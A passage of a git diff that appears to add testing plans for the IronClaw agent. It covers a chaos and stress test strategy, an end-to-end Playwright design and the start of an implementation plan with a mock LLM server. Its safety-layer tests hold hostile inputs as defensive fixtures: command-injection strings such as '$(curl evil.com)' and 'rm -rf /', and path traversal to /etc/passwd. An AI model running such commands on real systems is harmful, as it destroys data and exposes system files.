Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
|
||||
|
||||
```rust
|
||||
/// Provider that fails N times then succeeds
|
||||
struct FlakeyProvider { failures_remaining: AtomicU32 }
|
||||
|
||||
/// Provider that returns ContextLengthExceeded after N messages
|
||||
struct ContextBombProvider { threshold: usize }
|
||||
|
||||
/// Provider that hangs forever (tests timeout handling)
|
||||
struct HangingProvider;
|
||||
|
||||
/// Provider that returns malformed JSON
|
||||
struct GarbageProvider;
|
||||
```
|
||||
|
||||
**Test scenarios:**
|
||||
|
||||
| Scenario | Setup | Expected |
|
||||
|----------|-------|----------|
|
||||
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
|
||||
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
|
||||
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
|
||||
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
|
||||
| Malformed response | GarbageProvider | Error logged, retry or failover |
|
||||
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
|
||||
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
|
||||
|
||||
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
|
||||
|
||||
### 4.2 Concurrent Job Stress Test
|
||||
|
||||
Submit many jobs simultaneously and verify no state corruption:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn concurrent_jobs_dont_corrupt_state() {
|
||||
let db = test_db().await;
|
||||
let agent = TestAgent::new(db);
|
||||
|
||||
// Submit 20 jobs concurrently
|
||||
let handles: Vec<_> = (0..20)
|
||||
.map(|i| {
|
||||
let agent = agent.clone();
|
||||
tokio::spawn(async move {
|
||||
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let results: Vec<_> = futures::future::join_all(handles).await;
|
||||
|
||||
// All should complete (some may error, none should panic)
|
||||
for result in &results {
|
||||
assert!(result.is_ok(), "job panicked: {:?}", result);
|
||||
}
|
||||
|
||||
// Verify no cross-contamination in contexts
|
||||
let jobs = agent.db().list_jobs().await.unwrap();
|
||||
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
|
||||
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/concurrent_jobs.rs`
|
||||
|
||||
### 4.3 Dispatcher Infinite Loop Guard
|
||||
|
||||
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn dispatcher_terminates_when_hook_rejects() {
|
||||
let dispatcher = TestDispatcher::new();
|
||||
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
|
||||
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
|
||||
).await;
|
||||
|
||||
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/agent/dispatcher.rs` tests
|
||||
|
||||
### 4.4 Value Estimator Boundary Tests
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn is_profitable_with_zero_price() {
|
||||
let estimator = ValueEstimator::new();
|
||||
// Must not panic (was a divide-by-zero before PR #139)
|
||||
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
|
||||
assert!(!result);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_profitable_with_negative_cost() {
|
||||
let estimator = ValueEstimator::new();
|
||||
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
|
||||
// Negative cost = always profitable
|
||||
assert!(result);
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/estimation/value.rs` tests
|
||||
|
||||
### 4.5 Safety Layer Adversarial Tests
|
||||
|
||||
Test the safety layer with adversarial inputs that have caused real bypasses:
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn path_traversal_in_wasm_allowlist() {
|
||||
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
|
||||
// Must be blocked: path traversal before normalization
|
||||
assert!(!allowlist.allows("api.example.com/v1/../admin"));
|
||||
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_env_scrubbing_removes_secrets() {
|
||||
let env = scrubbed_env();
|
||||
assert!(!env.contains_key("OPENAI_API_KEY"));
|
||||
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
|
||||
assert!(!env.contains_key("DATABASE_URL"));
|
||||
// Safe vars preserved
|
||||
assert!(env.contains_key("PATH"));
|
||||
assert!(env.contains_key("HOME"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn leak_detector_catches_api_keys_in_output() {
|
||||
let detector = LeakDetector::default();
|
||||
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
|
||||
let result = detector.scan(output);
|
||||
assert!(result.has_leaks());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitizer_blocks_command_injection() {
|
||||
let sanitizer = Sanitizer::new();
|
||||
let inputs = vec![
|
||||
"hello; rm -rf /",
|
||||
"$(curl evil.com)",
|
||||
"hello\n`whoami`",
|
||||
"test && cat /etc/passwd",
|
||||
];
|
||||
for input in inputs {
|
||||
let result = sanitizer.sanitize(input);
|
||||
assert_ne!(result, input, "injection not caught: {input}");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
|
||||
|
||||
---
|
||||
|
||||
## Implementation Priority
|
||||
|
||||
| Priority | Tier | Item | Effort | Bugs Prevented |
|
||||
|----------|------|------|--------|----------------|
|
||||
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
|
||||
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
|
||||
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
|
||||
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
|
||||
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
|
||||
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
|
||||
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
|
||||
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
|
||||
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
|
||||
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
|
||||
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
|
||||
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
|
||||
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
|
||||
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
|
||||
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
|
||||
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
|
||||
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
|
||||
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
|
||||
|
||||
## Open Questions
|
||||
|
||||
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
|
||||
|
||||
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
|
||||
|
||||
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
|
||||
|
||||
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
|
||||
|
||||
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
|
||||
@@ -0,0 +1,354 @@
|
||||
# E2E Testing Infrastructure Design
|
||||
|
||||
**Date:** 2026-02-24
|
||||
**Status:** Approved
|
||||
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
|
||||
|
||||
---
|
||||
|
||||
## Decisions
|
||||
|
||||
| Decision | Choice | Rationale |
|
||||
|----------|--------|-----------|
|
||||
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
|
||||
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
|
||||
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
|
||||
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
|
||||
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
pytest
|
||||
|
|
||||
+----------+-----------+
|
||||
| |
|
||||
mock_llm.py ironclaw binary
|
||||
(canned responses) (cargo build --features libsql)
|
||||
127.0.0.1:{port} 127.0.0.1:{port}
|
||||
| |
|
||||
+----------+-----------+
|
||||
|
|
||||
Playwright
|
||||
(headless Chromium)
|
||||
DOM assertions
|
||||
```
|
||||
|
||||
**Flow:**
|
||||
|
||||
1. pytest session starts
|
||||
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
|
||||
3. Session-scoped fixture starts mock LLM on OS-assigned port
|
||||
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
|
||||
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
|
||||
6. Each test uses Playwright locators + DOM assertions
|
||||
7. Teardown kills ironclaw and mock LLM
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
tests/e2e/
|
||||
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
|
||||
mock_llm.py # OpenAI-compat HTTP server with canned responses
|
||||
helpers.py # Shared utilities (wait_for_ready, selectors)
|
||||
scenarios/
|
||||
__init__.py
|
||||
test_connection.py # Auth, tab navigation, connection status
|
||||
test_chat.py # Send message, SSE streaming, response rendering
|
||||
test_skills.py # Search, install, remove lifecycle
|
||||
pyproject.toml # Dependencies
|
||||
README.md # How to run locally and in CI
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mock LLM Server
|
||||
|
||||
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
|
||||
|
||||
**Endpoint:** `POST /v1/chat/completions`
|
||||
|
||||
**Behavior:**
|
||||
- Parses the `messages` array from the request body
|
||||
- Pattern-matches the last user message content to select a canned response
|
||||
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
|
||||
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
|
||||
|
||||
**Canned response table:**
|
||||
|
||||
| Pattern (regex) | Response |
|
||||
|-----------------|----------|
|
||||
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
|
||||
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
|
||||
| `skill\|install` | `I can help you with skills management.` |
|
||||
| `.*` (default) | `I understand your request.` |
|
||||
|
||||
**Streaming format:**
|
||||
|
||||
```
|
||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
|
||||
|
||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
|
||||
|
||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
|
||||
|
||||
data: [DONE]
|
||||
```
|
||||
|
||||
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
|
||||
|
||||
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
|
||||
|
||||
---
|
||||
|
||||
## Fixtures
|
||||
|
||||
### Session-scoped (run once per test session)
|
||||
|
||||
**`ironclaw_binary`**
|
||||
- Checks if `./target/debug/ironclaw` exists
|
||||
- If missing or stale, runs `cargo build --no-default-features --features libsql`
|
||||
- Returns the binary path
|
||||
- Timeout: 300s (first build can be slow)
|
||||
|
||||
**`mock_llm_server`**
|
||||
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
|
||||
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
|
||||
- Polls `GET /v1/models` until ready (timeout 10s)
|
||||
- Yields `(process, url)`
|
||||
- Kills process on teardown
|
||||
|
||||
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
|
||||
- Starts the ironclaw binary with environment:
|
||||
|
||||
```
|
||||
GATEWAY_ENABLED=true
|
||||
GATEWAY_HOST=127.0.0.1
|
||||
GATEWAY_PORT=0
|
||||
GATEWAY_AUTH_TOKEN=e2e-test-token
|
||||
GATEWAY_USER_ID=e2e-tester
|
||||
CLI_ENABLED=false
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL={mock_llm_url}
|
||||
LLM_MODEL=mock-model
|
||||
DATABASE_BACKEND=libsql
|
||||
LIBSQL_PATH=:memory:
|
||||
SANDBOX_ENABLED=false
|
||||
SKILLS_ENABLED=true
|
||||
ROUTINES_ENABLED=false
|
||||
HEARTBEAT_ENABLED=false
|
||||
```
|
||||
|
||||
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
|
||||
- Polls `GET /api/status` until ready (timeout 60s)
|
||||
- Yields the base URL (`http://127.0.0.1:{port}`)
|
||||
- Sends SIGTERM on teardown, SIGKILL after 5s grace
|
||||
|
||||
### Function-scoped (fresh per test)
|
||||
|
||||
**`page(ironclaw_server)`**
|
||||
- Launches Playwright Chromium (headless)
|
||||
- Creates new browser context (isolated cookies/storage)
|
||||
- Creates new page with viewport 1280x720
|
||||
- Navigates to `{base_url}/?token=e2e-test-token`
|
||||
- Waits for network idle
|
||||
- Yields the `Page` object
|
||||
- Closes browser context on teardown
|
||||
|
||||
---
|
||||
|
||||
## Test Scenarios
|
||||
|
||||
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
|
||||
|
||||
Tests auth, initial page load, and tab switching.
|
||||
|
||||
```
|
||||
test_page_loads_and_connects:
|
||||
1. Assert page title or main container is visible
|
||||
2. Assert connection status indicator shows "Connected" (or equivalent)
|
||||
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
|
||||
|
||||
test_tab_navigation:
|
||||
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
|
||||
a. Click the tab button
|
||||
b. Assert the corresponding panel container becomes visible
|
||||
c. Assert no error toasts appear
|
||||
2. Return to Chat tab
|
||||
3. Assert chat input is visible and focusable
|
||||
|
||||
test_auth_rejection:
|
||||
1. Navigate to base_url without token (no ?token= param)
|
||||
2. Assert auth screen / login prompt appears (not the main app)
|
||||
```
|
||||
|
||||
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
|
||||
|
||||
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
|
||||
|
||||
```
|
||||
test_send_message_and_receive_response:
|
||||
1. Locate chat input element
|
||||
2. Type "What is 2+2?"
|
||||
3. Press Enter (or click Send button)
|
||||
4. Wait for assistant message to appear (timeout 15s)
|
||||
5. Assert user message bubble contains "What is 2+2?"
|
||||
6. Assert assistant message bubble contains "4"
|
||||
7. Assert no error toasts visible
|
||||
|
||||
test_multiple_messages:
|
||||
1. Send "Hello"
|
||||
2. Wait for response containing "Hello" or "help"
|
||||
3. Send "What is 2+2?"
|
||||
4. Wait for response containing "4"
|
||||
5. Assert message count >= 4 (2 user + 2 assistant)
|
||||
|
||||
test_empty_message_not_sent:
|
||||
1. Focus chat input
|
||||
2. Press Enter with empty input
|
||||
3. Assert no new messages appear after 2s
|
||||
```
|
||||
|
||||
### Scenario 3: Skills Lifecycle (`test_skills.py`)
|
||||
|
||||
Tests ClawHub search, install, and remove through the browser UI.
|
||||
|
||||
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
|
||||
|
||||
```
|
||||
test_skills_tab_visible:
|
||||
1. Click Skills tab
|
||||
2. Assert skills panel is visible
|
||||
3. Assert search input is present
|
||||
|
||||
test_skills_search:
|
||||
1. Click Skills tab
|
||||
2. Type "markdown" in search input
|
||||
3. Click Search (or press Enter)
|
||||
4. Wait for results (timeout 15s)
|
||||
5. Assert at least one result card is visible
|
||||
6. Assert result cards contain: name, version, description fields
|
||||
|
||||
test_skills_install_and_remove:
|
||||
1. Search for a skill
|
||||
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
|
||||
3. Click Install on first result
|
||||
4. Wait for installed skills list to update (timeout 15s)
|
||||
5. Assert skill appears in installed section
|
||||
6. Click Remove on the installed skill
|
||||
7. Wait for installed section to update
|
||||
8. Assert skill is gone from installed list
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Port Discovery
|
||||
|
||||
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
|
||||
|
||||
```python
|
||||
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
|
||||
"""Read process stdout until we find the listening port."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
line = await asyncio.wait_for(
|
||||
process.stdout.readline(), timeout=deadline - time.monotonic()
|
||||
)
|
||||
if match := re.search(pattern, line.decode()):
|
||||
return int(match.group(1))
|
||||
raise TimeoutError("ironclaw did not report listening port")
|
||||
```
|
||||
|
||||
Same pattern for the mock LLM server.
|
||||
|
||||
---
|
||||
|
||||
## Dependencies
|
||||
|
||||
```toml
|
||||
# tests/e2e/pyproject.toml
|
||||
[project]
|
||||
name = "ironclaw-e2e"
|
||||
version = "0.1.0"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"pytest>=8.0",
|
||||
"pytest-asyncio>=0.23",
|
||||
"playwright>=1.40",
|
||||
"aiohttp>=3.9",
|
||||
"httpx>=0.27",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
vision = [
|
||||
"anthropic>=0.40",
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## CI Integration
|
||||
|
||||
```yaml
|
||||
# .github/workflows/e2e.yml
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'src/channels/web/**'
|
||||
- 'tests/e2e/**'
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: target
|
||||
key: e2e-${{ hashFiles('Cargo.lock') }}
|
||||
- name: Build ironclaw
|
||||
run: cargo build --no-default-features --features libsql
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install chromium
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v --timeout=120
|
||||
```
|
||||
|
||||
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
|
||||
|
||||
---
|
||||
|
||||
## Future: Claude Vision Layer
|
||||
|
||||
Not in initial scope. Design accommodates it via:
|
||||
|
||||
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
|
||||
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
|
||||
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
|
||||
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
|
||||
|
||||
---
|
||||
|
||||
## Success Criteria
|
||||
|
||||
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
|
||||
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
|
||||
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
|
||||
4. CI workflow runs on web gateway changes and weekly schedule
|
||||
5. Test failures produce clear error messages with screenshot artifacts
|
||||
@@ -0,0 +1,952 @@
|
||||
# E2E Testing Infrastructure Implementation Plan
|
||||
|
||||
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
|
||||
|
||||
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
|
||||
|
||||
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
|
||||
|
||||
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
|
||||
|
||||
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Project scaffolding and pyproject.toml
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/pyproject.toml`
|
||||
- Create: `tests/e2e/scenarios/__init__.py`
|
||||
|
||||
**Step 1: Create pyproject.toml**
|
||||
|
||||
```toml
|
||||
[project]
|
||||
name = "ironclaw-e2e"
|
||||
version = "0.1.0"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"pytest>=8.0",
|
||||
"pytest-asyncio>=0.23",
|
||||
"pytest-playwright>=0.5",
|
||||
"playwright>=1.40",
|
||||
"aiohttp>=3.9",
|
||||
"httpx>=0.27",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
vision = [
|
||||
"anthropic>=0.40",
|
||||
]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
asyncio_mode = "auto"
|
||||
timeout = 120
|
||||
```
|
||||
|
||||
**Step 2: Create empty __init__.py**
|
||||
|
||||
Create `tests/e2e/scenarios/__init__.py` as an empty file.
|
||||
|
||||
**Step 3: Verify install works**
|
||||
|
||||
Run:
|
||||
```bash
|
||||
cd tests/e2e && pip install -e . && playwright install chromium
|
||||
```
|
||||
Expected: Clean install, no errors.
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
|
||||
git commit -m "scaffold: E2E test project with pyproject.toml"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 2: Mock LLM server
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/mock_llm.py`
|
||||
|
||||
**Step 1: Write the mock LLM server**
|
||||
|
||||
The server must:
|
||||
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
|
||||
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
|
||||
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
|
||||
- Handle `GET /v1/models` for health checks
|
||||
- Pattern-match the last user message to select canned responses
|
||||
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
|
||||
|
||||
```python
|
||||
"""Mock OpenAI-compatible LLM server for E2E tests."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import time
|
||||
import uuid
|
||||
|
||||
from aiohttp import web
|
||||
|
||||
CANNED_RESPONSES = [
|
||||
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
|
||||
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
|
||||
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
|
||||
]
|
||||
DEFAULT_RESPONSE = "I understand your request."
|
||||
|
||||
|
||||
def match_response(messages: list[dict]) -> str:
|
||||
"""Find canned response for the last user message."""
|
||||
for msg in reversed(messages):
|
||||
if msg.get("role") == "user":
|
||||
content = msg.get("content", "")
|
||||
# Handle content that may be a list (multi-modal)
|
||||
if isinstance(content, list):
|
||||
content = " ".join(
|
||||
part.get("text", "") for part in content if part.get("type") == "text"
|
||||
)
|
||||
for pattern, response in CANNED_RESPONSES:
|
||||
if pattern.search(content):
|
||||
return response
|
||||
return DEFAULT_RESPONSE
|
||||
return DEFAULT_RESPONSE
|
||||
|
||||
|
||||
async def chat_completions(request: web.Request) -> web.StreamResponse:
|
||||
"""Handle POST /v1/chat/completions."""
|
||||
body = await request.json()
|
||||
messages = body.get("messages", [])
|
||||
stream = body.get("stream", False)
|
||||
response_text = match_response(messages)
|
||||
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
if not stream:
|
||||
return web.json_response({
|
||||
"id": completion_id,
|
||||
"object": "chat.completion",
|
||||
"created": int(time.time()),
|
||||
"model": "mock-model",
|
||||
"choices": [{
|
||||
"index": 0,
|
||||
"message": {"role": "assistant", "content": response_text},
|
||||
"finish_reason": "stop",
|
||||
}],
|
||||
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
|
||||
})
|
||||
|
||||
# Streaming response: split into word-boundary chunks
|
||||
resp = web.StreamResponse(
|
||||
status=200,
|
||||
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
|
||||
)
|
||||
await resp.prepare(request)
|
||||
|
||||
# First chunk: role
|
||||
chunk = {
|
||||
"id": completion_id,
|
||||
"object": "chat.completion.chunk",
|
||||
"created": int(time.time()),
|
||||
"model": "mock-model",
|
||||
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
|
||||
}
|
||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
||||
|
||||
# Content chunks: split on spaces
|
||||
words = response_text.split(" ")
|
||||
for i, word in enumerate(words):
|
||||
text = word if i == 0 else f" {word}"
|
||||
chunk["choices"][0]["delta"] = {"content": text}
|
||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
||||
|
||||
# Final chunk: finish_reason
|
||||
chunk["choices"][0]["delta"] = {}
|
||||
chunk["choices"][0]["finish_reason"] = "stop"
|
||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
||||
await resp.write(b"data: [DONE]\n\n")
|
||||
|
||||
return resp
|
||||
|
||||
|
||||
async def models(_request: web.Request) -> web.Response:
|
||||
"""Handle GET /v1/models."""
|
||||
return web.json_response({
|
||||
"object": "list",
|
||||
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
|
||||
})
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--port", type=int, default=0)
|
||||
args = parser.parse_args()
|
||||
|
||||
app = web.Application()
|
||||
app.router.add_post("/v1/chat/completions", chat_completions)
|
||||
app.router.add_get("/v1/models", models)
|
||||
|
||||
# Use aiohttp's runner to get the actual bound port
|
||||
import asyncio
|
||||
|
||||
async def start():
|
||||
runner = web.AppRunner(app)
|
||||
await runner.setup()
|
||||
site = web.TCPSite(runner, "127.0.0.1", args.port)
|
||||
await site.start()
|
||||
# Extract the actual port from the bound socket
|
||||
port = site._server.sockets[0].getsockname()[1]
|
||||
print(f"MOCK_LLM_PORT={port}", flush=True)
|
||||
# Block forever
|
||||
await asyncio.Event().wait()
|
||||
|
||||
asyncio.run(start())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
**Step 2: Verify it starts and responds**
|
||||
|
||||
Run:
|
||||
```bash
|
||||
python tests/e2e/mock_llm.py --port 18080 &
|
||||
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
|
||||
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
|
||||
kill %1
|
||||
```
|
||||
|
||||
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
|
||||
|
||||
**Step 3: Verify streaming**
|
||||
|
||||
```bash
|
||||
python tests/e2e/mock_llm.py --port 18080 &
|
||||
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
|
||||
kill %1
|
||||
```
|
||||
|
||||
Expected: SSE chunks ending with `data: [DONE]`.
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/mock_llm.py
|
||||
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 3: Helpers module
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/helpers.py`
|
||||
|
||||
**Step 1: Write helpers**
|
||||
|
||||
```python
|
||||
